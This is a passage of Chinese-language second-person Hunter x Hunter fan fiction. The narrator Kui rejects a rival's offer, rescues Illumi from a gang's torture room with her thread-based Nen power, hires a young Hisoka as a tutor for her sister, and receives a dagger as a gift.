展厅里回荡着他的笑声,过了好一会,他才停下来,擦了擦笑出的眼泪,“原来,你是这样想的。”
你没说话,警惕地看着他。
“真的不是。这次的问题很简单,我只想问你——要不要离开揍敌客家,跟我一起走?”
“……什么?”
你做好了被他威胁,随时战斗的准备,指尖的红线也蓄势待发,没想到等来的是这个问题。
“我想邀请你成为我的同伴。”小优朝你伸出手,“我们之间没有什么深仇大恨不是吗?还是说,比起杀掉罪犯,你更愿意被迫杀死一些普通人呢?揍敌客家不是什么好地方,你应该知道的。”
你当然知道。
玫瑰花刺曾经扎入的地方隐隐作痛,你再次攥紧掌心。
小优继续说道,“如果你跟我一起,我会教你如何开发自己的念能力,你会变得更强,再也不用受人摆布,再也不需要做自己不愿意的事,这样不好吗?”
这样很好。可是……
你直视着小优的眼睛,“如果你所谓的''开发能力''是像上次那样,我不愿意。”
“你明明知道,强大是要付出代价的,尤其是你的能力。”小优敛起笑容。
“我知道,但是我不愿意。”你还是摇头,“而且,我凭什么相信你呢?你就连邀请,都要拿我身边的人做威胁。”
“那是因为,”小优的声音低下去,“我只有这样,才能单独和你对话。”
你的手腕被小优紧紧的抓住,你没有注意到你们之间的距离是何时缩短的,他的另一只手迅速摸到你的脑后——
电流爆炸声像气泡破裂,小优冷笑着摊开手心。
一枚坏损的窃听器。
“现在呢?你宁愿相信杀手世家的道德,都不愿意相信我吗?”
.
“被发现了。”
伊尔迷摘下耳机,看向不远处管家脸上的单片眼镜,“妈妈,这是我的事,请您不要参与。”
.
“这个总不能是你们约好的吧?”
小优把窃听器丢到一边。
“不是。”你摇摇头。你不知道它是什么时候被放到你身上的。
“但是有一点你说错了。我相信的不是揍敌客,是伊尔迷。”
“呵。”小优不以为然地笑笑,“他已经辜负了你的信任。而且,在那样的家庭长大的人,成为自己之前,首先是一名揍敌客。”
“那么你呢?你又是谁?我不知道你的来历、身份,就连你的名字都是假的,你凭什么说,跟你走就是更好的选择呢?”
小优的嘴角扬起来,“问得好。但我不做回答。你可以理解为这是我和伊尔迷·揍敌客的赌约,也可以把它当做一种威胁——”
“我为你提供一种通向自由的选择,并且只问你最后一次:你要跟我走吗?”
“我拒绝。”
“好。”小优笑着点点头,松开手,你反手抓住他。
“告诉我,迪妮莎在哪?”
“你还记得我在电话里是怎么说的吗?”
你当然记得——如果你的答案不能让他满意,你就再也见不到迪妮莎了。现在你已经给出了答案,你拒绝了他的邀请。
但你不可能就这样放他离开。
红线切断指甲,顺着你的手攀上小优的手腕,将他的动作定格在后退的一秒。
“告诉我。”
小优的脸上依然挂着轻松的笑,甚至有些赞赏的意味。
“你早该这样了。拥有强大的力量却不去使用,实在是暴殄天物。其实你大可以在进门的时候就用红线控制住我,在那之后,无论是逼问我那个女孩的下落,还是将我杀死,都轻而易举。”
“我现在也可以。”你抬手掐住他的脖子,收紧手掌,“你最好珍惜时间,不要废话。”
“哈,你有没有想过……为什么……窃听器毁了……没有人来……”
“什么意思?”你稍稍松开手。
小优咳嗽了两声,“你觉得,揍敌客家的人听到我们的对话,会留在原地等你做选择吗?”
不会。
以你对伊尔迷的了解,他不会。
他这个人和你有一点相似,就是真正想要的东西一定要抓在自己手里。
“你是说,你还有同伙?”
可是你在进门前用「圆」探测过这个展馆,确定里面只有一个人。
“不,我从来不跟蠢人合作。我只是为了这次的单独谈话,多做了点准备。”
*
咔嚓。
脱臼的手臂复位,气的流通顺畅,用针封住了痛觉,接下来……
伊尔迷等在通风管道的格栅后,走廊里传来交谈声。
“抓到人了吗?”
“没,一眨眼就不见了。”
“他受了伤,跑不了多远。把所有的出口都封住,继续搜!一只苍蝇也别放过!”
“是!”
*
“如果我是你,一定会趁现在逃走。只要把消息放出去,揍敌客家族就没空找你麻烦了。”
“闭嘴!你是想让我把你的嘴巴也封住吗?”
被红线一匝匝捆成粽子的小优合上了嘴,不再说话。
你将注意力重新放回地面上,从掌心流出的血液正沿着砖缝延伸,你心急如焚地催动念力,期盼着「占卜」可以为你指明方向。
小优所谓的“准备”是一个空间系的念能力,它会将进入展馆的第三人随机传送到另一个地点,出口是他事先踩点过的一些“犯罪者聚集地”。
这不是他自己的能力,而是他通过某种方式借用的,所以他从刚才开始,就只是在耍嘴皮子而已。
“那个方向是哪里?”
血液流向展厅的一角。
“哎呀,那边是西北大陆黑.帮的总部,今晚好像还是他们的集会呢。揍敌客少爷的运气可真好。”
你冷着脸裹住伤口,“西
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北大陆的黑.帮敢对揍敌客家的人动手吗?”
“他脸上又没写着''揍敌客''。”
这倒是。
小优在地上蛄蛹着靠近,“哎,带上我吧,说不定我能帮上忙呢?”
你伸手用红线将他的嘴巴封住,“你就留在这。如果他死了,我会杀了你。”
*
发给伊尔迷的邮件没有回应。
你给管家们发去消息,让他们到小优交代的地点带回迪妮莎,你自己去找伊尔迷。
小优被你捆住后表现得太配合,让你不禁怀疑他是在骗你,但你没时间确认了。
“你一定要想清楚,机会从来都是稍纵即逝的。”
“我想得很清楚。”
“还不够。这个世界的规则就是弱肉强食。你的犹豫、你的仁慈只会变成刺向你自己的刀。”
“所以我应该现在就杀了你。”
“当然,下次可就没有这么好的机会了。你不动手吗?”
“不。”
“为什么?”
“因为我们之间还没有深仇大恨。”
“你已经做出了选择。”
“是的。”
“这个答案,我很满意。在这个世界上,重要的不是选择什么,而是做出选择。我失望,是因为你犹豫不决。现在的你和那时相比,成长了很多。”
你并不在意什么“成长”。
你是目标驱动的人,没有目标时就随遇而安。真诚、伪善、坚定、踌躇、勇敢、软弱……每一个都是你,它们共同组成了你。
你做的,不过是学会接受自己。
*
黑.帮的总部是一家富丽堂皇的娱乐会所,很符合你的想象。每个入口都有人把守,会仔细检查来客的身份。
你不擅长伪装,也不想浪费时间。所幸这个年代的监控还不发达,你只需要解决视线范围内的人。
你伸出左手,五根红线同时出现,切开指尖。控制、沉睡,这是你能想到的最快、最不消耗的方法。
看守、宾客、侍应生、保镖……黑.帮成员成片地倒下,反应稍快的人刚摸到警报的按钮,就被具现化的红线勒住脖子。你抓住线向后一扯,将那个人拖倒在地。
“你们今天有抓到什么人吗?”
“没、我、我不知道……”
红线割开皮肤见了血,那个人还是摇头。你抬手将他打晕。
不记得问到第几个人,你终于听到有用的信息。
“抓到的人,老大……老大会亲自拷问……”
“在哪?”
.
你将带路的人打晕,扔在门口。门外的守卫也被你一并放倒。
你推门进去,入目是一条昏暗的走廊,两边的门都关着,间或传出一些痛苦的呻吟。
你辨认着这些声音,越走越快,地上延伸着血迹,你看到一扇虚掩的门。
“啪!”
你应该熟悉这样的声音。是鞭子的破空声,混着锁链的响动,唯独没有人声。
下一秒,你看见了背对着你,再次扬起手臂的人,还有他面前被捆在刑架上,你正在寻找的伊尔迷。
你在这一刻出离愤怒,五指的红线深深勒进血肉,“谁给你的胆子动我的人!”
那个人的动作停在半空中,食指的红线绷紧——他竟然有能力挣脱控制。
你扯开右手的伤口,血液凝聚的红线从背后绕过他的脖子,收紧、切割,鲜血大片大片的喷溅,你向后拖拽他,直到他倒在地上。
掌心、手臂都是湿热、粘腻的触感,你深深地喘气,渐渐冷静下来。
伊尔迷一直在看着你,他的脸上有伤口也有溅上去的血迹,你本来想帮他擦一下,发现自己的手更脏,就转而去解那些锁链。
“他们,他……”你说不出话。
第一枚钉子从手腕上拔下来,第二枚在手肘内侧,第三枚是锁骨,第四枚……整个过程中,伊尔迷都没有发出声音。
你抱住他。
“对不起。”
你整只手都在颤抖,眼泪啪嗒啪嗒的往下掉,好不容易才克制住。你不敢用太大的力气,拉起他的手,“我先,我先帮你止血。”
“你来得很快。”
伊尔迷的声音很轻。你胡乱地点头,掌心轻轻贴上他的手腕,然后你看到了他的手指,裸露的甲床鲜血淋漓。你的心脏仿佛被一根针狠狠地刺了一下。
“这个,也是……”你捧着他的手,眼眶发热,泪意不断上涌,“对不起,一定,很痛吧。”
“唉。”
伊尔迷叹了口气。这在你的印象中,仿佛是第一次。
“葵,伤口上撒盐,也很痛。”
“什么?”你呆了呆,手忙脚乱地去遮自己的眼泪,“对对对对不起!”
51.No.016 魔术师
你认真地帮伊尔迷处理了伤口,红线被你用来做止血绷带,你没有去管这个房间以外的事,也没有去看地上的人。
“你为什么没有跟他走?”伊尔迷突然问你。
“当然是因为我不相信他。我是那种别人随便说两句就会信的人吗?”
“……”
“嗯?你沉默是几个意思?”你抬头看他。
伊尔迷移开眼睛,“我说了谎。”
“什么?”
“我用念针封住了痛觉。你不用这么小心。”
你继续打完最后一个结,用力地呼出一口气,“我知道了。我原谅你。”
“你——”
“窃听器的事,也原谅你了。”你在衣服上擦了擦手,迅速地在他头上摸了一把,咧嘴笑,“扯平。”
伊尔迷没有对你的行为做出评价。他转过头看向门口,“有人来了。”
你也听到了动静。
“离开之后,控制就不起效了啊,真麻烦。”你握了握左手,放下来,红线松松地挂在指尖,“伊路,除了这个人,还有谁伤到你了吗?”
伊尔迷没有回答你,而是说,“我们应该回去。葵,你失血过多了。”
他看出了你的意图。
“你不生气吗?”你扭头看他,“他们这样对你,你不生气?”
伊尔迷摇了摇头,“我不够强,所以被人抓住,很正常。他们把我当成奸细,拷问我,也很正常。”
他似乎有些疑惑,“我为什么要生气?”
你没法回答他,只说,“但是我快要气炸了。”
.
你独自来到走廊上。封闭的环境是使用「红线控制」的最佳地点。那些人挤进走廊时,你无端地想起了一个梦。
「这样很好,请他们都过来吧。」
原来如此。梦里的你说的话是这个意思:把所有人都吸引到一个地方,就可以一次性解决,从而交换到新的红线。
如果你从小被揍敌客家收养,就会长成这样的性格吗?不再关心家人以外的人,就不会为了别人的事纠结痛苦。
也好,也不好。
想想伊尔迷的样子,果然还是现在这样更好。至少,你们俩中间有一个人是有爱好的。
你叹了口气,抬起手。
“诸位,晚安。”
*
夜风带着丝丝凉意,吹散了萦绕鼻尖的血腥气。黑.帮的大楼被你们抛在身后,伊尔迷伏在你背上,呼吸轻轻拂过你的耳廓。如果不是还有这点气息,你真的要怀疑他出事了。
想到这里,你又有一丝后悔。
“你没有杀那些人。”
“是。”你盯着前方的道路,继续奔跑,“我本来想趁他们睡着了把人揍一顿,但是,还是先带你去治疗更重要。”
“你还在生气吗?”
“……嗯!”你恶狠狠地点头,“毕竟我是个睚眦必报的人啊,我心眼很小的。不过,这次我已经报复回去了。我让管家帮我把''楼里的人都在昏睡''的消息散布了出去,如果有人借机寻仇,可就不关我的事了。”
“很好。”
“你也觉得这个方法不错是不是?”你有点高兴。
“很经济。”
很……这是个什么评语?
你往他的思维模式上套了套——噢,让管家散布信息等于不用额外花钱,也不用额外出力,还节省时间,而且他本来就不在意报不报复的,这个结果对他没有任何坏处。
“……伊路。”
“嗯。”
“你会去做那种吃力不讨好的事吗?”
“哪种?”
“比如……”
放到你自己身上,你可以举出十个不一样的例子,但要在伊尔迷的认知里找一个他能理解,意思又没太大偏差的……
“比如倒贴钱杀人。”
“啊。”他像是在叹息,随后语气坚定,“不要。”
……看来再敬业的人也不愿意付费上班呢。
又经过一段路,夜风里,他突然语调平平地开口。
“我做过。”
“什么?”
“你说的那种没有收益的事。”
“说来听听?”你稍稍侧过头,“可以说吗?”
“我养过一条狗。”
你刚要开口,他就像能猜到你的想法一样先否认了,“不是三毛。”
“哦。”
.
那是一条很普通的狗。品种普通、样貌普通。不知道是怎么进的枯枯戮山。很小,眼睛都没张开,声音细弱。
当时的管家说,它可能是被丢弃的。
“为什么丢弃?”
“因为生来就比它的兄弟姐妹们弱小,养不活。”
被家人抛弃了吗?
“伊尔迷少爷,这是很寻常的事。”
.
第二天,又路过那个位置,发现它还活着。
傍晚,做完任务回来,它还在那里。
伊尔迷走过去,伸手,那只小东西嗅了嗅他的手指,留下一些湿漉漉的气息。
他把它带了回去。
它的求生意识很强,最终顺利地活了下来。它会在他回来时摇尾巴,会在吃完他手上的食物后,用湿湿热热的舌头舔他的掌心。
.
“伊尔迷,你不需要这样的东西。”
“它不会影响我。”
“你把它当成了什么?家族的一员吗?”
“不……”
“它是无用的,不该存在的。”
“……”
“你是揍敌客家的长子,你应该明白我在说什么。”
“……我知道了。”
.
伊尔迷在说完自己养过狗之后就陷入了沉默,你等了一会,忍不住问他,“然后呢?”
“死了。”
“……这中间是不是少了一段?”
“它太普通,没法生存,所以死了。”
“好可惜。”你感叹了一句,“你会难过吗?”
“我不知道。”
“欸?”
你以为他会说“会”、“不会”,或是“忘了”,怎么会是“不知道”?
伊尔迷忽然抬起手臂,圈住了你的脖子,声音很低,“还好,你不会死。”
“我当然不……”你反应过来,“好哇,你又把我当狗!”
你还没有成功纠正伊尔迷的想法,就遇上了来接应你们的管家。接着你想起了趴在你背上的是个病人。
“不跟你计较了。”
“伊尔迷少爷,葵小姐。”管家欠了欠身。
“医生到了吗?”
“已经到了。”管家还是站在原地。
“还有什么事?”伊尔迷问。
“除了迪妮莎小姐,还带回了一个人。”
揍敌客家派来的人一共被你安排做了三件事,一是接回迪妮莎,二是给伊尔迷找医生,三是帮你散布消息。
你特别嘱咐过他们不要进入展馆,让小优自生自灭。既然迪妮莎已经接回来,证明小优没有骗你。但是管家的这句话……
“你们被人跟踪了,没有甩掉,是吗?”
伊尔迷的语气很平淡。
管家低下头,额上冒出冷汗,“是……迪妮莎小姐似乎很想和他玩。”
“好了,我去看一眼是怎么回事。伊路,你先去疗伤,这是最重要的事。”
“你也需要治疗。”
“区区致命伤,不足挂齿!”
“?”
“哈哈,我只是想活跃一下气氛。”
最后是伊尔迷在身负重伤的情况下帮你包扎好了手指。
你有点愧疚。但是没办法,你可不敢随随便便的让别人碰你的血。万一那个医生就是这么倒霉,碰到一滴直接就感染了花吐症呢?
话说回来,伊尔迷的技术真不错。你活动了一下手指,觉得自己也应该花点时间练习,不能总是敷衍了事。
*
你跟着管家来到暂时安置迪妮莎的地方,天空竞技场的房间不太方便,所以是在附近找了一家旅馆。
此时已经是深夜,房间里的灯还是亮着的,两名管家守在门外,你推开门,看到了两个红色的脑袋。
“准备好了吗?看清楚哦,糖果在这个杯子里,那么,开始——”
少年的手将桌上倒扣的水杯移出了残影,坐在他对面的迪妮莎目不转睛地盯着他的动作。啪!五个杯子整齐地摆成一排。
“猜猜看?”
迪妮莎立刻指向最左边的杯子。
“不在这里哦。”红发少年
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眯着眼睛笑,把杯子掀开一些,展示出下方空荡荡的桌面。
迪妮莎皱起眉,手指移向它旁边的杯子。
“也不是。”少年打开杯子,摇头。
第三个、第四个、第五个,全是空的。迪妮莎撅起嘴,又指回第一个杯子。
“哈哈哈~☆”
少年再次将水杯掀开,五颗闪闪发光的糖果堆成一座小山,从下方露出来。迪妮莎眼睛一亮,伸手把糖果全都抓进了掌心。
你站在门口看完了这个“游戏”,然后不紧不慢地敲了敲门。
迪妮莎刷的转头,下一秒她就扑进了你怀里,幸好你提前用念护住了身体,否则一定会被撞得吐血。
“给,你。”一把糖果递到你面前。
你惊讶地看着迪妮莎,“你会说话了?”
“给。”迪妮莎锲而不舍地给你塞糖果。
“好好好,我收下了,谢谢。”
你接过糖果,她这才满意地退开。
“失礼失礼,您就是这个小姑娘的姐姐吧。”
被你们晾在一旁的红发少年站起身,露出一张似曾相识的脸。
“你是……西索?”你不确定地问。
其实你的记性不差,而且对于你来说,西索是四个多月前才见过的人。面前的少年有着同样显眼的红发和金瞳,脸上却画着眼泪和星星的图案。
在你的记忆深处,似乎有另一张脸化着相同的妆容。让你感到愤怒,心中涌现杀意的人,到底是谁呢?
“您知道我的名字呀?真是太荣幸了。”
西索笑着走近,拉起你的一只手,弯腰轻轻地在上面落下一个吻。
救……救救救救救!他在搞什么啊?!
你佯装镇定地把手收回来,背到身后。
“我的管家告诉我,你一直跟着他们,为什么?你有什么目的?”
“您别误会,是有人雇佣我保护这个小姑娘。''直到她的姐姐来接她'',那个人是这么说的。”
“你说的那个人,是黑头发、绿眼睛吗?头发半长不长的,可以在脑袋后面扎起来?”
“是呀。”西索点点头,“现在我可以交差了。”
“等一下,你怎么知道我是她姐姐?”
“因为我认识您嘛,天空竞技场的葵小姐,我很喜欢看您的比赛的。”
他说的话你一百个不信。
且不说你只在天空竞技场打了三天,现在还没爬到二百层。就你那个打法,只讲究效率,可谓是毫无美感可言。
不过有一个信息应该是真的,他认识你,至少,现在的西索认得你的脸。
“西索,玩。”
迪妮莎抓住了他的袖子。
“不行哦。”西索微笑着拨开她的手,“我的任务结束了,现在是小姑娘休息的时间。”
你表情凝重地看着西索的手,你是知道迪妮莎的力气有多大的,但他将人拨开的动作非常轻巧,就像他刚刚变的魔术一样。
“是你教她说话的吗?”
“是呢,一直没有人来,很无聊的~”
西索抓了抓头发,把刘海往脑后梳拢,“差不多该回去上工了,葵小姐有空的时候多来照顾照顾我的生意吧。”
“你的生意?”
西索不知道从哪里摸出一张名片,你接过来,看到上面密密麻麻的字,陷入失语。
“欢乐之家”儿童乐园、“地下河”酒吧、“蹦蹦跳跳”马戏团、“你会发”传单公司……
“我的电话在这里~”西索点了点名片的一角,“有需要可以直接联系我,可以为您提供特殊服务哦。”
你假装没听到这句话,前后翻看着他的名片,这名片可真名片啊。
“这上面写的都是吗?你涉猎还挺广的嘛。”
“是其中的一部分,过段时间可能会换工作,到时候会告诉葵小姐的~”
“嗯?不是你开的公司吗?”
“哈哈哈,不是哦,我是在给别人打工呢。”
你茫然了一瞬。
在你的认知里,十年后的西索可是拥有着私人机场的富豪啊,十年前的他竟然是个一天打十份工的贫苦少年吗?
这也……这也太励志了!你肃然起敬。
“有需要我会联系你的。”
你收起了名片。
52.No.017 交易
因为西索的缘故,你发现某件事的确该尽早提上日程——教迪妮莎说话。
你对迪妮莎的印象有点先入为主,默认她会自然地长成十年后那个朝气蓬勃的少女。但是实际上,说话和写字这两项技能,人是很难无师自通的。
是该给她请个老师,还是自己教呢?
还有,玛奇曾经提到过,迪妮莎某段时间住在阿弗格,你还没有找到它的具体位置,送她回家这件事也很重要。
如果找不到她的家,是不是现在就要物色一个靠谱的收养人呢?
你胡乱思考着这些,陷入了沉睡。
第二天一早,生物钟唤醒了你。虽然只睡了不到三个小时,你却没感觉到太多困意,可能是念的修行带来的错觉。你为自己的头发默哀了一秒。
想要白天还有很多事要做,最后一丝赖床的欲望也消散了。你督促着自己起床,简单收拾后先去看了伊尔迷。
他身上的伤都已经被处理好,缠着绷带,整个人几乎又成了你们刚认识的时候那样。你已经见识过他的恢复速度,但还是不赞同他没养好伤就要急着工作的行为。
“不行!你今天必须好好休息。现在还很早,快躺下继续睡觉。”
伊尔迷躺回了床上,漆黑的眼睛看着你,“有一个目标今天必须处理掉。”
“……你把单子转给我吧,我帮你做。”你在短暂的犹豫之后下定决心,“然后,这段时间先不要工作了,等你的身体完全恢复,我陪你一起加班好吧?”
伊尔迷看着你没说话。
好的,他的表情传达出两个信息:一,怀疑;二,还是怀疑。
“我认真的,我认真的!我好不容易才下定决心呢,快答应,过了这个村就没这个店了。”
你抓住他没受伤的那只手,瞪着他,“你也不要怀疑我的水平啊,我认真起来可是连自己都害怕的。”
“我答应。”
伊尔迷把手挣了出来。
于是你的日程又多了一项。
问题不大。
你从伊尔迷的房间出来,又去看了眼迪妮莎,她还在睡觉。你开始思考临睡前想的那个问题。
你和伊尔迷忙起来肯定是没空教她的,虽然管家也行,但是迪妮莎不怎么喜欢跟管家互动。如果要请人来教,眼下似乎就有一个好人选。
你摸出西索给你的名片。
他收费贵不贵呢?
*
离开旅馆后,你去了天空竞技场,你今天的比赛被安排在上午,成功通过后可以升到二百层。
你围观了一会其他人的比赛,期间通过下注赚了点零花钱,全部用来购买迪妮莎的零食。
一百九十层的比赛顺利结束,你在二百层的接待处被告知了新的参赛规则。
“哎?后面的比赛没有奖金吗?”
“是的,二百层以后是单纯的为了名誉而战,您在登记前请考虑清楚哦。”
“如果不登记,可以重新从第一层往上打吗?”
“可以的。但是如果您第二次到达二百层时,仍然选择不登记,将会失去天空竞技场的参赛资格。”
啊,是为了防止有人反复刷钱。
要不要再刷一次呢?
不,比起这个,更应该考虑的是比赛会不会和工作冲突。你记得二百层以上的比赛很受观众欢迎,会有人专门录像。你现在的情况,留下影像是不是不太好?
但是,未来应该没那么容易改变吧?库洛洛和西索就完全不记得你。
哎?库洛洛?
“我登记。”
你速度填好了报名表。
*
“伊路伊路伊路!我想到了。”
你一把推开门,伊尔迷和迪妮莎同时看向了你。
“怎么了?”伊尔迷倒了一杯水。
你在餐桌前的空位坐下,目光灼灼地看着他,“新的特训内容!不如就教我易容吧。”
“嗯,是该安排起来了。你以后工作会方便很多。”
你接过伊尔迷推过来的杯子,喝了一口。
“不光有这个原因。我准备以后用伪装过的脸参加天空竞技场的比赛,这样就算被录像,也不会影响到后面的事了。”
比如十年后在一无所知的状态下被认出自己的人找麻烦。
因为迪妮莎在场,你没有说得太详细,但他理解了你的意思。
伊尔迷的眉头很轻地皱起来,“你可以把时间和地点都告诉我,到时候我会……”
“不不不不不。”你赶紧制止他的想法,“那也太可怕了。”
你只要稍微想想,在你离开村子后的一系列活动中,始终有个人偷偷地跟在你身后,就觉得寒毛直竖,哪怕这个人是伊尔迷也不行。
“绝对不行,我会被吓死的。”你郑重其事地说。
你们简单商量了后面的安排,除了你的特训外,还包括给迪妮莎找老师和寻找阿弗格的部分。
这三件事理论上可以同时进行。
特训交给伊尔迷安排,你可以放一百个心。找老师的事你来负责,如果实在没有合适的,你打算自己上。
最后是阿弗格这个地点,它可能是个不出名的小地方,也可能是日后改的名。就算一时半会查不到,在迪妮莎可以和你正常交流后,你还可以试着用“占卜”来寻找她的家乡。
这样一来,你担忧的事一大半都有了着落。
你在下午做完了委托,回去的路上绕道去了一趟琥珀街123号。那是一家歇业的美术馆,在白天显得格外萧条,街上的行人都寥寥无几。
你再次进入展厅,小优果然已经不在这里,地面被清理过,血迹、红线都消失得干干净净。你转了一圈,没发现什么值得注意的地方。
傍晚时分,你按照西索名片上的地址,来到了“地下河”的门口。
这家酒吧开在一条不起眼的巷子里,刚营业不久,店里还没什么客人,吧台上的黑胶唱机播放着慵懒的音乐。
“哦呀,是葵小姐~”
吧台后的红发少年笑眯眯地跟你打招呼,今天他脸上没有画奇怪的图案,让你觉得顺眼多了。
“您今天的比赛也很精彩。”
“你不会真的去看了吧?”你在吧台前坐下。
“呵呵,我每天都去的。您已经升到了二百层,像您这么快的选手很少见,大家都会重点关注呢。”
“你很喜欢看格斗?”
“嗯嗯。”西索点点头,将擦拭过的玻璃杯放到你面前,“葵小姐要喝点什么吗?”
“嗯……随便来点度数低的吧。”
“好呀。”
西索垂着眼睛,摆弄起那些你叫不出名字的调酒工具,他的动作娴熟又优雅,轻巧得像在变戏法。
一双魔术师的手。你冒出了这个想法。
“请慢用~”
杯中的酒液呈现出漂亮的渐变色,像一块融化的红宝石。
你啜饮一口,快乐地眯起眼睛。啊,是甜的,好喝。
“您喜欢吗?”
“嗯!”
你点点头,又喝了一口,问他,“西索,既然你喜欢格斗,为什么不自己去打呢?你已经学会念了吧?”
“现在还不到时机呢。”西索在吧台后面坐下来,手背撑着下巴,金色的眼睛看着你,“葵小姐说的「念」是什么?”
“就是你昨天变魔术的时候,把糖果粘在杯底的东西呀。”
“您说的是「紫罗兰口香糖」吗?”
紫罗兰,口香糖?噫,好微妙的名字,总觉得它不该叫这个。
……
“是的,这个就是念,你不知道?”你伸手摸了摸西索指尖的念。
“没听说过呢。
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葵小姐可以告诉我吗?”他顺势握住了你的指尖。
你下意识收手,发现你们的手粘在了一起。
“……”
红发少年眼睛里盛满了笑意,朝你靠近。
“停!”你按住西索的肩膀,用力扯出手。
“我有两个问题要问你。”
“您问。”
“你今年几岁?”
“十八,已经成年了哦。”
“……那么,你是恋童癖吗?”
西索脸上的笑容终于僵硬,整个人像一块风化的石膏像,无力地抬着嘴角。
“当然不是。您,为什么会这么想?”
“哦,因为我最近想给我妹妹找个家教,她好像还挺喜欢看你变魔术的。但是……我现在有点怀疑你的人品。”
你眯起眼睛打量他。
“呵呵,您多虑了,我对小孩子没有兴趣。而且比起这些,赚钱才是我现在的第一要务。”西索坐了回去,表情显得忧伤,“我很忙的。”
他这副样子,倒是和你记忆里的稍稍重合了。
“你有空做家教吗?主要教她说话,认字倒不着急。”
“有的,有空的。”西索又露出笑容,“如果葵小姐能跟我讲讲「念」的事,这份工作我可以不收费。”
“成交。”
教一个是教,教两个也是教,你现在不觉得自己是半桶水了,你充满了自信。
*
夜半三更。
你告别了西索,哼着歌,晃晃悠悠地往回走。一出巷口,就看到路灯下站着个熟悉的人影。
“伊路?你怎么在这?”你惊喜地朝他挥挥手,“你的单子我已经做完了哦。”
“我知道。”
伊尔迷点头,在你走近后抓住了你的胳膊,语气肯定地说,“你喝酒了。”
“哈哈,只喝了一点啦。你这么晚出门是有什么事吗?”
“你没接电话。”
“嗯?”你从口袋里翻找出手机,上面果然有两个未接来电。
“啊……抱歉抱歉,酒吧里太吵了,我没听见。你打电话来是有什么事吗?”
“……”
“你怎么不说话?你生气了?哈哈,开心一点嘛。”你按住他的嘴角往上提,“笑一个笑一个。”
伊尔迷握住你的手腕,把它扯下来。
“葵,你是喝醉了吗?”
“怎么可能!我酒量很好的!”
“……先回去吧。”
“不行!你还没说你是出来干什么的!”
“我来找你。现在已经很晚了。”
“哦。”你认可了这个说法,又得意地笑,“但是我已经成年了,没有门禁。倒是你,一个未成年就不要在外面乱逛了,快回去。”
伊尔迷面无表情地拿出了手机。
“梧桐,带上摄像机过来。”
“你打电话干什么?”
“把你现在的样子录下来,留作纪念。”
“……”
你缓缓抬手,按住脑门,“啊我的头好晕,我不记得我刚刚说了什么。伊路,快、快扶我一下。”
他接住了你的手。
你偷偷看了他一眼,又一眼,再一眼。
“需要我直接弄晕你吗?”
“不了不了。”你把另一只手伸进口袋里摸了摸,“其实我今天晚上学了一个魔术,我来变给你看吧?”
伊尔迷不置可否。
你把手伸到他面前,“你看。”
“绷带该换了。”
“不是让你看绷带!”
他的嘴角很轻地上翘了一下。
“是空着的,然后呢?”
你将手攥紧,再松开。
“呼。”
金色的花瓣打着旋儿散开,在你们之间洒落,像一场小小的暴风雪。
53.No.018 礼物
你收回了手。
那些花瓣落在你们的头发上和肩膀上,你随手拍了拍。
“是不是还挺好看的?”
“嗯。”
伊尔迷眨了下眼睛。
“等我以后学更好玩的。”你弯起嘴角,拉着他,踩着地上的影子往前走,“我给迪妮莎找了个老师,晚上和他商量了一下时间安排。”
“说起来,这个世界也挺好玩的。明明有六个大陆,那——么大呢,好多地方我都没去过,却还能在十年前遇到认识的人。它好像又很小。你会有这种感觉吗?”
“没有。”
“也是。”你点点头。毕竟,这里只有你一个时间旅客啊。
你突然又有点难过了。
“你怎么了?”
你吸了吸鼻子,“我想回家。”
你当然是回不去的。
时间、空间的距离,任何一项都是不可逾越的天堑。
你也只能想想。
然后,继续朝着不知去路的未来前行。
*
你在回去的路上用光了西索“友情赠送”的魔术道具,这是第二天早上伊尔迷告诉你的。
你的记忆从酒吧开始就有点断片,稀里糊涂地睡过去,又稀里糊涂地醒过来。吃早饭的时候你还在犯困,听到自己昨夜的“壮举”,吓得瞬间清醒。
“……我该不会,又,吐你身上了吧?”你的心拔凉拔凉。
“没有。”
“那就好那就好。”你缓缓松了口气。
“你抱着我大哭了一场。”
你拿着勺子的手微微颤抖。
“有、有别人看见吗?”
“没有。”
你再次松了口气,目光真挚地看着伊尔迷,“忘了这件事吧,伊路。爸爸妈妈爷爷奶奶弟弟妹妹管家三毛等等等等,谁也不要说,好吗?”
“好。”
“你怎么突然这么好说话?”
伊尔迷抬起眼睛看你。
“不,我不是说这样不好,这样很好,这样最好。”你自顾自地点头,抓住了他放在桌上的手,肯定道,“伊路米最好了!”
伊尔迷看了眼你们的手。
“爸爸有礼物要给你。”
“欸?”
他抽出手,起身拿来一个盒子。
你迅速回顾了自己近期的所作所为:顺利完成家族任务,+1分;间接导致伊尔迷身陷险境,-1,-1,-1……你的脸上一片愁云惨淡。
“席巴先……咳,爸爸他为什么要送我礼物呢?”
“见面礼。他那天忘了。”
这么直白地说出来真的好吗?
是不是如果你没有达到他的期待,这个礼物就不必给你了?
按理来说,席巴现在已经知道了伊尔迷受伤的事,但是他竟然没有怪你,还依然给了你礼物。
……不理解。
伊尔迷打开了盒子,你的注意力立刻被吸引过去。
“这是?”
“爸爸的私藏。他喜欢收集这些。”
“它好漂亮。”
你两眼放光,小心翼翼地拿起盒子里的匕首——这优美的线条、纤薄的刃身、古朴的刀纹,连重量都恰到好处。
你上手试了试,嘴角止不住地上扬,“我喜欢这个。以后放血就更方便了。”
“不可以有这种想法。这是杀人的刀,不该对着自己。”
“可是,红线真的很方便啊。”你看了看缠着绷带的掌心。你是从什么时候起习惯了这种痛感的呢?
“匕首的训练我会安排上。今天先练习伪装。”伊尔迷拿走了你手里的刀,放回盒子里。
你的目光追随着它,直到被盒盖挡住。
“等等,它不是送给我了吗?我不可以抱着它睡觉吗?”
“可以。”
你还没来得及高兴,就听到他说,“前提是你今天的午饭不能挑食。”
“……我不要吃肝脏。”
“你需要补血。”
“那我也不要吃。我不喜欢。”你小声地说了句。
伊尔迷拿起盒子往自己的房间走,你连忙追上去。
“你就没有什么讨厌的食物吗?”
“没有。”
“真的没有?”虽然到目前为止,他的确无论吃什么都是一个表情,但是你不相信有人会完全没有讨厌的东西。
“……挑食会导致营养不良,杀手工作需要保证身体状况时刻处于最佳水平。这是最基础的训练。”
“可是吃到不喜欢的东西心情会不好啊。保持心情愉悦也很重要吧?”
伊尔迷停下脚步。
“我说的很有道理是不是!”
他转过头,“你提醒了我,你房间里的零食需要全部交出来。”
“……那是,迪妮莎的零食。”
“是你的。我看到你吃了。”
“……不。”你垂死挣扎,“我没有,你看错了。”
“最近一段时间,你的食谱需要调整。”伊尔迷不为所动,抬起手里的盒子,“二选一?”
你伸出的手犹豫两秒,放到了盒子上。
“就这么说定了。我会监督你哦。”
